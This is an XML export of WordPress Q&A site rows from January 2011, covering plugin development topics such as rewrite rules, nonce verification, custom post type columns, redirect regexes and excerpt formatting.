  <row Id="6897" PostTypeId="2" ParentId="6891" CreationDate="2011-01-13T16:29:38.713" Score="0" ViewCount="" Body="&lt;p&gt;You can also set a custom variable inside WordPress when your URL is accessed. You can then later check for this variable and if it exists, do whatever you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, we will use &lt;code&gt;wpse6891_stats&lt;/code&gt; as our variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register a URL that will set this variable to true&#xA;add_action( 'init', 'wpse6891_init' );&#xA;function wpse6891_init() {&#xA;    add_rewrite_rule( '^stats$', 'index.php?wpse6891_stats=true', 'top' );&#xA;}&#xA;&#xA;// But WordPress has a whitelist of variables it allows, so we must put it on that list&#xA;add_action( 'query_vars', 'wpse6891_query_vars' );&#xA;function wpse6891_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse6891_stats';&#xA;    return $query_vars;&#xA;}&#xA;&#xA;// If this is done, we can access it later&#xA;// This example checks very early in the process:&#xA;// if the variable is set, we include our page and stop execution after it&#xA;add_action( 'parse_request', 'wpse6891_parse_request' );&#xA;function wpse6891_parse_request( &amp;amp;$wp )&#xA;{&#xA;    if ( array_key_exists( 'wpse6891_stats', $wp-&amp;gt;query_vars ) ) {&#xA;        include( dirname( __FILE__ ) . '/stats.php' );&#xA;        exit();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also do the check later, with &lt;code&gt;get_query_var( 'wpse6891_stats' )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T16:29:38.713" />
  <row Id="6898" PostTypeId="1" CreationDate="2011-01-13T16:30:16.810" Score="1" ViewCount="176" Body="&lt;p&gt;I'm designing a website for a client. I don't really know how I got landed with all the backend structure code, but I did. I'm not an awful programmer, but I need something solid to work off, I can't just code my own program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a plugin or some code that will automatically place a poll with &lt;strong&gt;three&lt;/strong&gt; options to each post. Preferably, the OUTCOME of the poll would be displayed with the excerpt, then the actual poll would be on the full post page. That would be ideal, but I'll take what I can get. I just need a poll that will be attached to each post and work inline. IE: Not something I have to slap on a sidebar. Something that I can add to the index.php file with my loop, and also the single.php file would be excellent. However this might get tricky as the poll results would have to be dynamic to each post. I would also be okay with having to add a shortcode to each post (as there are plug-ins which can add shortcodes to posts by default without anyone being able to see them) but that seems sort of hack and slash to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help on this. Hope I was clear enough.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-09-02T00:38:51.540" Title="Need specific kind of &quot;Poll Voting&quot; for Wordpress" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="6899" PostTypeId="2" ParentId="145" CreationDate="2011-01-13T16:56:39.853" Score="0" ViewCount="" Body="&lt;p&gt;Another really nice thing is the &quot;krumo&quot; php class. It's implemented in half a min and offers an easy way to debug all sort of variables, objects, arrays, strings, helps with backtracing, shows loaded classes or included files and everything on demand. Plus: it's FREE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Krumo @sourceforge: &lt;a href=&quot;http://krumo.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://krumo.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-13T16:56:39.853" />
  <row Id="6901" PostTypeId="1" CreationDate="2011-01-13T17:27:31.727" Score="5" ViewCount="449" Body="&lt;p&gt;Current state: I'm parsing XML feeds into the front end and/or the back end (Admin UI), but not into the DB.&#xA;Inside those feeds i place mp3- and video content, currently only as plain text (no link, no player).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Future goal: I want to change the above behavior so visitors can watch/listen to video/audio content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm searching for: builtin (wp core) function(s) that load a (wp core) player for audio and/or video files in the feed.&#xA;What I'm not searching for: A regular expression/regex to replace the current text (link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution should be independent from any plugins, themes or any other third party code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope there's someone over here who has any sort of experience with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: Shortly ma question, maybe you understand my problem easier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to see \&amp;#039;enclosures\&amp;#039; from RSS feeds? I would like to use the images as thumbnails and view a player for video and audio enclosures. Here is an example feed item with enclosure...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;item&amp;gt;&#xA;    &amp;lt;title&amp;gt;New Ferrari FF video&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;link&amp;gt;http://www.evo.co.uk/news/evonews/264793/ferrari_ff_new_pictures_and_video.html&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;Ferrari releases a new, action-packed and undisguised video of its FF supercar. Video and new pictures here&amp;lt;/description&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;Fri, 25 Feb 2011 15:04:58 +0000&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;enclosure url=&quot;http://www.evo.co.uk/images/front_picture_library_UK/dir_853/car_photo_426559_23.jpg&quot; length=&quot;5420&quot; type=&quot;image/jpeg&quot;/&amp;gt;&#xA;&amp;lt;/item&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T06:25:32.390" LastActivityDate="2011-07-29T16:33:35.913" Title="Replace audio/video enclosure with player?" Tags="&lt;plugin-development&gt;&lt;media&gt;&lt;videos&gt;&lt;audio&gt;&lt;enclosure&gt;" AnswerCount="3" CommentCount="13" FavoriteCount="1" />
  <row Id="6902" PostTypeId="1" AcceptedAnswerId="6904" CreationDate="2011-01-13T17:28:19.183" Score="0" ViewCount="178" Body="&lt;p&gt;I'm writing a plugin for work (still) and having one more issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added my meta boxes as needed. However, the problem I'm having occurs when &lt;em&gt;saving&lt;/em&gt; the post. My snippets for saving pretty much come from &lt;a href=&quot;http://stackoverflow.com/questions/2434327/wordpress-update-post-meta-values-delete-when-empty-or-just-test-for&quot;&gt;this post&lt;/a&gt;. I've also recieved a similar answer &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6557/redesigning-custom-post-type-add-new-page/6575#6575&quot;&gt;here&lt;/a&gt;, but it's just not working for some reason. :/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  protected function __update_post_meta( $post_id, $field_name, $value = '' )&#xA;  {&#xA;   if ( empty( $value ) OR ! $value )&#xA;   {&#xA;    delete_post_meta( $post_id, $field_name );&#xA;   }&#xA;   elseif ( ! get_post_meta( $post_id, $field_name ) )&#xA;   {&#xA;    add_post_meta( $post_id, $field_name, $value );&#xA;   }&#xA;   else&#xA;   {&#xA;    update_post_meta( $post_id, $field_name, $value );&#xA;   }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above is called using the following. However, I'm not sure my problem lies with the actual saving now that I think of it. I'm thinking it might be the &lt;code&gt;nonce&lt;/code&gt; which may be throwing it off.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function _wp_save_post( $post_id, $post )&#xA;  {&#xA;   if ( empty($_POST)&#xA;     OR !isset($_POST['argus_edit_visitor'])&#xA;     OR !wp_verify_nonce( $_POST['argus_edit_visitor'], 'argus_edit_visitor' ) )&#xA;   {&#xA;    return $post-&amp;gt;ID;&#xA;   }&#xA;&#xA;   if ( ! current_user_can( 'edit_post', $post-&amp;gt;ID ) ) return $post-&amp;gt;ID;&#xA;&#xA;   // v_f_name | v_l_name | v_workstation | v_id&#xA;   // Argh!&#xA;&#xA;   $this-&amp;gt;__update_post_meta( $post-&amp;gt;ID, 'v_f_name', $_POST['v_f_name'] );&#xA;   $this-&amp;gt;__update_post_meta( $post-&amp;gt;ID, 'v_l_name', $_POST['v_l_name'] );&#xA;   $this-&amp;gt;__update_post_meta( $post-&amp;gt;ID, 'v_workstation', $_POST['v_workstation'] );&#xA;   $this-&amp;gt;__update_post_meta( $post-&amp;gt;ID, 'v_id', $_POST['v_id'] );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The nonce is used like the following: &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;argus_edit_visitor&quot; id=&quot;argus_edit_visitor&quot; value=&quot;{$nonce}&quot; /&amp;gt;&lt;/code&gt; and created using &lt;code&gt;$nonce = wp_create_nonce( plugin_basename( __FILE__ ) );&lt;/code&gt;. The input field is inside block of html being stored in variable $html. Stackexchange was parsing my html otherwise I'd paste it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Zack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Just tested it, and it &lt;strong&gt;is&lt;/strong&gt; the nonce's fault.&lt;br /&gt;&#xA;&lt;strong&gt;EDIT2:&lt;/strong&gt; Typo on my part, but still doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-01-13T17:39:25.123" LastActivityDate="2011-01-13T17:52:44.383" Title="Updating post meta for custom post types" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;3.0&gt;&lt;plugin-development&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6903" PostTypeId="1" CreationDate="2011-01-13T17:48:38.787" Score="1" ViewCount="133" Body="&lt;p&gt;I have been working hard trying to understand regular-expressions to use in my web site using the redirection plugin.  I have changed my permalinks a few times in the past year because I did not know better or had incorrect advice.  The upshot of this is that Google web master tools shows hundreds of 404's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to tackle fixing the 404 issue with Redirections and know that I'm past my experience to fix, and this website is the best I have come across in the past few days that seems to have knowledgeable and helpful experts on the subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to fix myself because I know my permalinks structures of the 404 errors based on the webmaster tools download, and am comfortable using regular expressions in the redirection plugin,  but if this is beyond a scope of a DIY, I'd be very interested in paying someone to correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the variety of former permalinks. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String = /2010/10/02/abcd-abcd-124/&#xA;String = /2010/10/02/abcd-abcd-124&#xA;String = /2010/10/02/abcd-abcd-abcd-2-1234/&#xA;String = /2010/10/abcd-abcd-abcd-2-1234/&#xA;String = /2010/10/02/abcd-abcd-abcd-2-123&#xA;String = /2010/10/02/abcd-abcd-abcd-2-123/&#xA;String = /2010/10/02/abcd-abcd/&#xA;String = /2010/10/02/abcd-abcd-2/&#xA;String = /2010/10/02/abcd-abcd/feed&#xA;String = abcd&#xA;String = /websitename/abcd  (recent, web crawl)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bulk of the 404 errors are with this string&lt;br&gt;&#xA;    year/month/day/postname-postID/   (with and without forward slash)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is strip the post ID from permalinks, redirect to a new permalink structure %year%%postname%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had some success with this regex:&lt;br&gt;&#xA;    string:/2010/01/02/green-reach-22-9137&lt;br&gt;&#xA;    regex: /2010/(\d+)/(\d+)/((.*\W+))&lt;br&gt;&#xA;    result:/2010/01/02/green-reach-22-  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;however I cannot figure how to strip dash - before postID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very grateful for any advice, I have tried for hours using regex tools to find an expression that works , but I'm stumped.....THANKS !!&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-14T13:41:22.850" LastActivityDate="2011-02-13T15:18:28.537" Title="404 regular-expression advice needed" Tags="&lt;regex&gt;&lt;plugin-redirection&gt;" AnswerCount="3" />
  <row Id="6904" PostTypeId="2" ParentId="6902" CreationDate="2011-01-13T17:52:44.383" Score="1" ViewCount="" Body="&lt;p&gt;I really like your clean class structure :-)  But I have a suggestion that might fix things (based on my experience with nonces and meta boxes from a plug-in I built last weekend):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Don't try to create the nonce field manually.&lt;/strong&gt;  You currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nonce = wp_create_nonce( plugin_basename( __FILE__ ) );&#xA;&#xA;...&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;argus_edit_visitor&quot; id=&quot;argus_edit_visitor&quot; value=&quot;{$nonce}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The standard way to create this field is using WordPress' &lt;code&gt;wp_nonce_field()&lt;/code&gt; function.  It will add the hidden field for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nonce_field( __FILE__, 'argus_edit_visitor' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Verifying the nonce&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're verifying against the wrong string.  In your code, you created the nonce with &lt;code&gt;__FILE__&lt;/code&gt; but you verify with the string &lt;code&gt;argus_edit_vistor&lt;/code&gt;.  You have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( empty($_POST)&#xA;    OR !isset($_POST['argus_edit_visitor'])&#xA;    OR !wp_verify_nonce( $_POST['argus_edit_visitor'], 'argus_edit_visitor' ) )&#xA;    {&#xA;        echo &quot;Erm. Why?&quot;;&#xA;        return $post-&amp;gt;ID;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( empty($_POST)&#xA;    OR !isset($_POST['argus_edit_visitor'])&#xA;    OR !wp_verify_nonce( $_POST['argus_edit_visitor'], __FILE__ ) )&#xA;    {&#xA;        echo &quot;Erm. Why?&quot;;&#xA;        return $post-&amp;gt;ID;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I usually use &lt;code&gt;plugin_basename(__FILE__)&lt;/code&gt; when creating nonces.  But you shouldn't run into problems doing it your way so long as the nonce creation and nonce verification happens in the same file.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-13T17:52:44.383" CommentCount="1" />
  <row Id="6906" PostTypeId="1" AcceptedAnswerId="7157" CreationDate="2011-01-13T18:51:40.910" Score="0" ViewCount="287" Body="&lt;p&gt;I am inserting an image in a post and I want it to point to the post detail page, not the attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="971" LastEditorUserId="971" LastEditorDisplayName="" LastEditDate="2011-01-13T19:12:36.883" LastActivityDate="2011-01-18T08:18:20.730" Title="Make insterted image point to post url instead of attachment page" Tags="&lt;posts&gt;&lt;image&gt;&lt;urls&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6907" PostTypeId="2" ParentId="6906" CreationDate="2011-01-13T18:58:02.040" Score="1" ViewCount="" Body="&lt;p&gt;When you insert the image, you're given the option to set the image's link.  One of the options on the Add an Image screen is Link URL, with three buttons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;None&lt;/li&gt;&#xA;&lt;li&gt;File URL&lt;/li&gt;&#xA;&lt;li&gt;Post URL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/zPm5i.png&quot; alt=&quot;Image Upload Form&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select &quot;Post URL&quot; and you'll be linking to the post detail page, not the attachment.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-13T18:58:02.040" CommentCount="4" />
  <row Id="6908" PostTypeId="1" AcceptedAnswerId="7289" CreationDate="2011-01-13T19:02:10.980" Score="0" ViewCount="355" Body="&lt;p&gt;I've basically done a full plugin and now just &quot;prettifying&quot; it sort-of. One thing I'm doing is re-doing the columns for listing the &quot;posts&quot; I made. This part is fine, and all columns are replaced as needed, however, there's one column that puzzles me.. the title field. :/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'manage_posts_custom_column', array( &amp;amp;$this, '_wp_filter_visitor_column_view' ) );&#xA;    add_filter( 'manage_edit-visitor_columns', array( &amp;amp;$this, '_wp_filter_visitor_columns' ) );&#xA;&#xA;    public function _wp_filter_visitor_column_view( $column )&#xA;    {&#xA;        global $post;&#xA;        if ( $column == &quot;title&quot; )&#xA;        {&#xA;            $name = get_post_meta( $post-&amp;gt;ID, 'v_f_name', true );&#xA;            $name .= ' ' . get_post_meta( $post-&amp;gt;ID, 'v_l_name', true );&#xA;            echo $name;&#xA;        }&#xA;        elseif ( $column == &quot;type&quot; )&#xA;        {&#xA;            echo &quot;Not available right now...&quot;;&#xA;        }&#xA;        elseif ( $column == &quot;loggedin&quot; OR $column == &quot;workstation&quot; )&#xA;        {&#xA;            $workstation = get_post_meta( $post-&amp;gt;ID, 'v_workstation', true );&#xA;            if ( $column == &quot;workstation&quot; ) echo $workstation;&#xA;            elseif ( $column == &quot;loggedin&quot; ) echo ( !empty($workstation) OR !isset( $workstation ) ) ? 'No' : 'Yes';&#xA;        }&#xA;        elseif ( $column == &quot;id&quot; )&#xA;        {&#xA;            echo get_post_meta( $post-&amp;gt;ID, 'v_id', true );&#xA;        }&#xA;    }&#xA;&#xA;    public function _wp_filter_visitor_columns( $columns )&#xA;    {&#xA;        $columns = array(&#xA;                'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;                'title' =&amp;gt; 'Name',&#xA;                'type' =&amp;gt; 'Type',&#xA;                'loggedin' =&amp;gt; 'Logged In?',&#xA;                'id' =&amp;gt; 'Visitor ID',&#xA;            );&#xA;&#xA;        return $columns;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The column header for &quot;title&quot; =&gt; &quot;Name&quot; appears properly, but the column data displays the default title of &quot;Auto Draft&quot; because I'm not using the post's title field. Do I need to the post's title field for custom post types or will auto-generated titles suffice? I have no need for the title field and would rather use the postmeta table for storing my data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Zack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I was following &lt;a href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial for creating the columns.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-01-19T20:53:39.287" Title="Custom Post Type, Custom Columns List" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6909" PostTypeId="1" AcceptedAnswerId="6912" CreationDate="2011-01-13T19:05:11.907" Score="0" ViewCount="234" Body="&lt;p&gt;I have a 'theme options' page where teh user can add certain options like facebook links etc., one of the options os for some ad code and when saving it as an option it gets escaped over and over again.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's the best approach for saving code inserted in a TEXTAREA (back-end admin page) using &lt;code&gt;update_option( 'sidebar_code', $_POST['sidebar_code'] );&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-07-19T07:45:37.030" Title="Save HTML/CODE in an option - how to prevent escaping?" Tags="&lt;escaping&gt;&lt;theme-options&gt;" AnswerCount="3" />
  <row Id="6910" PostTypeId="1" CreationDate="2011-01-13T19:18:50.767" Score="1" ViewCount="91" Body="&lt;p&gt;I saw this post yesterday &lt;a href=&quot;http://digwp.com/2011/01/simpler-login-url/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2011/01/simpler-login-url/&lt;/a&gt; where a 'custom' word is used to direct the user from &lt;code&gt;url.com/admin&lt;/code&gt; to &lt;code&gt;url.com/wp-login&lt;/code&gt;.php and I'm asking (also did so in the comments without an answer) if its possible to &lt;strong&gt;deny any access&lt;/strong&gt; to the admin &lt;strong&gt;unless used a secret url&lt;/strong&gt;, so if a user is not logged in and tries &lt;code&gt;url.com/wp-admin&lt;/code&gt; or &lt;code&gt;wp-login.php&lt;/code&gt; he's denied access and only if he tries &lt;code&gt;url.com/my-secret&lt;/code&gt; he's then redirected to the admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thoughts?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:31:55.100" LastActivityDate="2011-02-16T08:31:55.100" Title="Using HTACCESS for Secret Access" Tags="&lt;security&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="6911" PostTypeId="2" ParentId="6881" CreationDate="2011-01-13T19:27:39.797" Score="1" ViewCount="" Body="&lt;p&gt;Why don't you just take post_formats (will be introduced with wp 3.1 in near future). These contain asides (small posts), chat, links, video, audio and so on. In general you just got a new meta-box that allows you to select the format when posting. Behind the scenes post formats are just predefined custom taxonomies bundled in a meta box. I don't know how they list, but i guess it's close to what you're searching for. Else you could switch to custom post types. Those would be listed as separate menu entries, so when you're on the post-list screen you'd only see the type of post you want to see. You could make custom capabilities that are only added to specific authors so only them could see their &quot;own&quot; post type. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-13T19:27:39.797" />
  <row Id="6912" PostTypeId="2" ParentId="6909" CreationDate="2011-01-13T19:46:03.017" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;stripslashes(wp_filter_post_kses(addslashes($_POST['sidebar_code'])));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you should know that the kses filter is not 100% safe.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-13T19:46:03.017" CommentCount="2" />
  <row Id="6913" PostTypeId="2" ParentId="6771" CreationDate="2011-01-13T19:56:22.257" Score="4" ViewCount="" Body="&lt;p&gt;Templates are only stored as files in the file system.  They are not stored in the database so there is no core functionality for versioning template files.  When you make changes, the file is overwritten with the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest route would be to use an existing version control solution (SVN,CVS,Git,Hg, etc.) and maintain the versioning separate from WordPress. &lt;/p&gt;&#xA;" OwnerUserId="2483" LastActivityDate="2011-01-13T19:56:22.257" CommentCount="1" />
  <row Id="6915" PostTypeId="2" ParentId="6890" CreationDate="2011-01-13T20:22:46.010" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;A neat step by step instruction like&#xA;  this for Twenty Ten would be like the&#xA;  coolest answer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can follow those instruction starting at Step 3 as your working with WordPress after all.&#xA; I'm sure Themeatic has some sort of snazzy hook but you will have to ask them.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-13T20:22:46.010" CommentCount="1" />
  <row Id="6916" PostTypeId="1" AcceptedAnswerId="6920" CreationDate="2011-01-13T20:59:00.520" Score="0" ViewCount="350" Body="&lt;p&gt;In the code snippet below, I trying to get the_excerpt to be written out without tags. However, the source formatting shows that the_excerpt is always wrapped in P tags. How can I pull the excerpt without tags?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($myrecentposts as  $idxrecent=&amp;gt;$post) &#xA;{ ?&amp;gt;&#xA;&amp;lt;li class=&quot;page_item&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php echo strip_tags(substr( the_excerpt(), 0, 75 )).&quot;...&quot; ?&amp;gt;&#xA;&amp;lt;/li&amp;gt;&amp;lt;?php }    &#xA;echo &quot;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-13T21:36:09.123" Title="How to echo the_excerpt without the P tag wrapper?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="6917" PostTypeId="1" CreationDate="2011-01-13T21:01:55.150" Score="0" ViewCount="64" Body="&lt;p&gt;I'm a developer for a very large real estate plugin and I'm having a lot of trouble with one of our agent sites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The init methods used to initialize ajax functionality are called using a &lt;code&gt;jQuery(document).ready()&lt;/code&gt; handler. However, this doesn't always fire, and it seems to be less dependent on the page contents than the location in the sitemap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme script also uses the same jQuery ready script to run methods, and that works on all pages. This file is included in the header. My file is included in the footer, that jQuery ready script does not load on certain pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is &lt;a href=&quot;http://mportlandrealestate.com/&quot; rel=&quot;nofollow&quot;&gt;http://mportlandrealestate.com/&lt;/a&gt;. The scripts seem to load on every page but those underneath the Areas and Neighborhoods top level page. Also, Areas and Neighborhoods -&gt; Inner NE and its subpages DO work, but all others do not. If I move a page from the Inner SE tree to be a child of Inner NE it begins to work, with no content changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell the scripts are loading through some console.group statements output in the javascript console: lightbox::init, clipboards::init, and ajax::init should all be present if the footer scripts are initializing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? This is baffling me.&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2011-01-13T22:37:38.820" Title="JS behavior differs depending on page tree" Tags="&lt;jquery&gt;&lt;javascript&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6918" PostTypeId="2" ParentId="6916" CreationDate="2011-01-13T21:03:44.807" Score="2" ViewCount="" Body="&lt;p&gt;What about removing the &lt;code&gt;wpautop&lt;/code&gt; filter before your list? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_excerpt', 'wpautop' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Make sure to add it back afterwards, so as not to mess up other formatting...)&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-13T21:03:44.807" />
  <row Id="6919" PostTypeId="2" ParentId="6903" CreationDate="2011-01-13T21:27:08.530" Score="0" ViewCount="" Body="&lt;p&gt;Try putting -? or -* at the end of your regex.&lt;/p&gt;&#xA;" OwnerUserId="2394" LastActivityDate="2011-01-13T21:27:08.530" />
  <row Id="6920" PostTypeId="2" ParentId="6916" CreationDate="2011-01-13T21:36:09.123" Score="2" ViewCount="" Body="&lt;p&gt;in your code above use &lt;code&gt;get_the_excerpt()&lt;/code&gt; instead of &lt;code&gt;the_excerpt()&lt;/code&gt;, because the last one will output the excerpt to the screen, and not pass it to your other functions...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-13T21:36:09.123" CommentCount="1" />
  <row Id="6921" PostTypeId="2" ParentId="6090" CreationDate="2011-01-13T21:45:33.597" Score="1" ViewCount="" Body="&lt;p&gt;You could simply use the &lt;strong&gt;&lt;a href=&quot;http://podscms.org&quot; rel=&quot;nofollow&quot;&gt;&quot;pods&quot;-plugin&lt;/a&gt;&lt;/strong&gt; (for WordPress) from Matt Gibs and Scott Kingsley Clark. It's exactly what you searching for. Take a look at the doku and look specificaly at &quot;pick columns&quot;. Aside from that it has a nice and ajax driven interface and builds it's database tables next to wordpress and doesn't make use of the default tables (there's nothing wrong with adding new tables). It &lt;strong&gt;really&lt;/strong&gt; converts Wordpress to a full CMS system. I tried it in some projects and was easily able to achieve &lt;strong&gt;everything&lt;/strong&gt; i wanted. A big plus is the irc-chat where you find a nice, friendly and helpful croud and the developers. An here goes another plus: When you feel comfortable with pods, then add pods UI to your weaponary. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wish you best!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-13T21:45:33.597" CommentCount="2" />
  <row Id="6922" PostTypeId="2" ParentId="6910" CreationDate="2011-01-13T21:47:01.937" Score="2" ViewCount="" Body="&lt;p&gt;I don't think that's possible using .htaccess alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it were, what would be the usefulness of keeping a secret which would be displayed in plain text in the URL bar?&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-13T21:47:01.937" CommentCount="1" />
  <row Id="6923" PostTypeId="2" ParentId="715" CreationDate="2011-01-13T22:05:25.947" Score="10" ViewCount="" Body="&lt;p&gt;Only include files that you need...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in the front end, don't include code that relates to the admin area.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-13T22:05:25.947" CommunityOwnedDate="2011-01-13T22:05:25.947" />
